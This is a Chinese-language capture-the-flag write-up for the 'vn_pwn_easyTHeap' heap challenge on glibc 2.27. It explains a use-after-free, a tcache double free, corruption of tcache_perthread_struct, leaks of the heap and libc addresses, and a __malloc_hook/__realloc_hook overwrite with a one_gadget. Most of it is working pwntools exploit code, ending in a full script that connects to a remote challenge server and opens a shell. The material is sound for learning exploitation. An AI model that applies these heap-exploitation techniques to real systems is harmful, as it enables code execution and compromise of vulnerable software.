因为本机是ubuntu22所以先把libc依赖改回2.27
IDA分析
main函数
这里有个alarm时间限制
目录
安全写
这是一个添加chunk,但是这里面只能有7个chunk,所以不能用普通的把tcache填满放入unsoredbin从来算libc
这是编辑read(0, (void *)s_[n6], s__0[n6]) - 从标准输入读取数据到 s_[n6] 指向的内存
这是打印数据
存在UAF漏洞
free((void*)s_[n6]);s_[n6]=NULL;//关键:将指针置为NULL s__0[n6]=0;- 释放内存:free((void *)s_[n6]) 释放了指定索引的内存块
- 指针未清空:虽然设置了 s__0[n6] = 0(可能是长度字段),但 s_[n6] 指针本身没有被置为 NULL
0x000000000202060s__00x000000000202080s_由于我们不能使用之前把tcache填满来算libc的方法,但是我们可以去修改tcache_perthread_struct
该源码如下
#glibc-malloc源码中的第2902-2921行/*We overlay this structure on the user-data portion of a chunk when the chunkisstoredinthe per-thread cache.*/typedef struct tcache_entry{struct tcache_entry*next;//指向的下一个chunk的next字段}tcache_entry;/*Thereisone of theseforeach thread,which contains the per-thread cache(hence"tcache_perthread_struct").Keeping overall size lowismildly important.Note that COUNTSandENTRIES are redundant(we could have just counted the linkedlisteach time),thisisforperformance reasons.*/typedef struct tcache_perthread_struct{char counts[TCACHE_MAX_BINS];//数组长度64,每个元素最大为0x7,仅占用一个字节(对应64个tcache链表) tcache_entry*entries[TCACHE_MAX_BINS];//entries指针数组(对应64个tcache链表,cachebin中最大为0x400字节//每一个指针指向的是对应tcache_entry结构体的地址。}tcache_perthread_struct;static __threadbooltcache_shutting_down=false;static __thread tcache_perthread_struct*tcache=NULL;
根据程序写出自动化脚本
frompwnimport*libdir='/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64'ld=libdir+'/ld-2.27.so'# 动态链接器路径vn_path='./vn_pwn_easyTHeap'# 可执行文件路径(已用 xclibc 处理过的副本)# 使用目标 glibc 的 ld 启动程序(不要使用 LD_PRELOAD 整个 libc)p=process([ld,'--library-path',libdir,vn_path])elf=ELF(vn_path)libc=ELF(libdir+'/libc-2.27.so')defdebug():gdb.attach(p)pause()defadd(size):p.sendlineafter(b'choice: ',b'1')p.sendlineafter(b'size?',str(size).encode())defedit(index,content):p.sendlineafter(b'choice: ',b'2')p.sendlineafter(b'idx?',str(index).encode())p.sendlineafter(b'content:',content)defshow(index):p.sendlineafter(b'choice: ',b'3')p.sendlineafter(b'idx?',str(index).encode())deffree(index):p.sendlineafter(b'choice: ',b'4')p.sendlineafter(b'idx?',str(index).encode())先add一个看看
add(0x50)#0
add成功
现在利用uaf把heap地址打印出来
free(0)free(0)
现在可以直接用show打印出来heap的地址
show(0)heap_leak=u64(p.recvline().strip().ljust(8,b'\x00'))log.info('heap_leak'+hex(heap_leak))
打印成功,现在把fd指针改到tcache_perthread_struct,申请出他的地址
先申请回来一个chunk
offset=0x00007ffff7e2a260-0x7ffff7e2a000-0x10add(0x50)#1
这时候chunk0 和 chunk1是重合一个的现在去edit它的fd指针
edit(1,p64(heap_leak-offset))
现在把tcache_perthread_struct申请出来
add(0x50)
下一个就是tcache_perthread_struct
add(0x50)
tcachebins中的0x60链的数目变为-1(0xff)。由于它是无符号的,因此负数将被解释为一个较大的正数(在这种情况下,可能是0xff),这将使该tcache bin似乎已满。这将阻止我们进行tcache_poisoning。
这里看着不明显,可以用我们之前的.data的指针看看
图中白色地方的数据就是free_count和malloc_count
确实是3个
这时候修改tcache_perthread_struct
edit(3,b'a'*0x28)
可以看到tcache里面的bin都满了,现在delete 3
free(3)
这时候打印出来的值肯定就是0x00007ffff77ebca0
根据上面vmmap的内容可以知道
LEGEND:STACK|HEAP|CODE|DATA|WX|RODATA Start End Perm Size Offset File0x7ffff74000000x7ffff75e7000r-xp1e70000/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.sooffset2=0x3ebca0show(3)libc_base=u64(p.recvline().strip().ljust(8,b'\x00'))-offset2 log.info('libc_base'+hex(libc_base))
现在去看看哪里有条件可以伪造chunk,这里受次数限制我们不能写入free_hook,checksec查看可以看到Full RELRO保护开启,无法写入函数的got表,malloc函数的参数又是我们自己写入的,无法写入’/bin/sh’字符串,所以我们只能向malloc_hook中写入one_gadget地址,但是这里将可用的one_gadget全部尝试后发现均不满足条件,于是我们必须利用realloc_hook,通过libc中realloc函数前一系列的抬栈操作来满足one_gadget可以使用的条件:
看到这个
这个地址就是__malloc_hook-0x13
onegad=[0x4f35e,0x4f365,0x4f3c2,0x10a45c]现在先伪造chunk
malloc=libc_base+libc.sym['__malloc_hook']realloc=libc_base+libc.sym['__libc_realloc']add(0x50)#4这个申请的chunk和tcache_perthread_struct重合
edit(4,b'a'*0x48+p64(malloc-0x13))
这时候如果申请0x30大小的chunk就会申请到malloc-0x13这个地址
add(0x20)
可以知道edit的时候数据是从0x7ffff77ebc1d写
one=onegad[2]+libc_base edit(5,b'a'*(0x13-0x8)+p64(one)+p64(realloc+8))0x7ffff77ebc1d:0x61616161616161610xfff744f3c26161610x7ffff77ebc2d<__realloc_hook+5>:0xfff7498ca800007f0x000000000a00007f换个视角看
0x7ffff77ebc20<__memalign_hook>:0x61616161616161610x00007ffff744f3c2#one_gad0x7ffff77ebc30<__malloc_hook>:0x00007ffff7498ca8#relloc 0x000000000000000a现在只要申请一下chunk就可以getshell
连接靶机
这里本地和靶机有差异,从BUUCTF里面下载他们的libc-2.27.so
测试出0x10a38c可以
EXP:
frompwnimport*libdir='/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64'ld=libdir+'/ld-2.27.so'# 动态链接器路径vn_path='./vn_pwn_easyTHeap'# 可执行文件路径(已用 xclibc 处理过的副本)# 使用目标 glibc 的 ld 启动程序(不要使用 LD_PRELOAD 整个 libc)#p = process([ld, '--library-path', libdir, vn_path])p=remote('node5.buuoj.cn',28244)elf=ELF(vn_path)libc=ELF(libdir+'/libc-2.27.so')defdebug():gdb.attach(p)pause()defadd(size):p.sendlineafter(b'choice: ',b'1')p.sendlineafter(b'size?',str(size).encode())defedit(index,content):p.sendlineafter(b'choice: ',b'2')p.sendlineafter(b'idx?',str(index).encode())p.sendlineafter(b'content:',content)defshow(index):p.sendlineafter(b'choice: ',b'3')p.sendlineafter(b'idx?',str(index).encode())deffree(index):p.sendlineafter(b'choice: ',b'4')p.sendlineafter(b'idx?',str(index).encode())add(0x50)#0free(0)free(0)show(0)heap_leak=u64(p.recvline().strip().ljust(8,b'\x00'))log.info('heap_leak'+hex(heap_leak))offset=0x00007ffff7e2a260-0x7ffff7e2a000-0x10add(0x50)#1edit(1,p64(heap_leak-offset))add(0x50)#2add(0x50)#3edit(3,b'a'*0x28)free(3)offset2=0x3ebca0show(3)libc_base=u64(p.recvline().strip().ljust(8,b'\x00'))-offset2 log.info('libc_base'+hex(libc_base))onegad=[0x4f35e,0x4f365,0x4f3c2,0x10a45c]malloc=libc_base+libc.sym['__malloc_hook']realloc=libc_base+libc.sym['__libc_realloc']add(0x50)#4edit(4,b'a'*0x48+p64(malloc-0x13))add(0x20)#5#one = onegad[2] + libc_baseone=0x10a38c+libc_base edit(5,b'a'*(0x13-0x8)+p64(one)+p64(realloc+8))add(0x10)#debug()p.interactive()